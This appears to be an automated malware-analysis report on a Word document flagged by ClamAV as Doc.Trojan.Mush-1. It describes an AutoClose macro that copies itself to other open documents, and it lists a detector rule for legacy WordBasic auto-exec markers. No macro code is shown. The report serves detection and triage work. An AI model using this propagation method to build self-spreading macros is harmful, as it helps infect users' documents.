MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Mush-1. It contains a VBA macro within the 'macros.bas' file, specifically an AutoClose macro. This macro is designed to copy itself to other open documents, indicating a propagation mechanism. The presence of the AutoClose macro and the ClamAV detection strongly suggest a malicious intent, likely to spread further or deliver a secondary payload.

    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
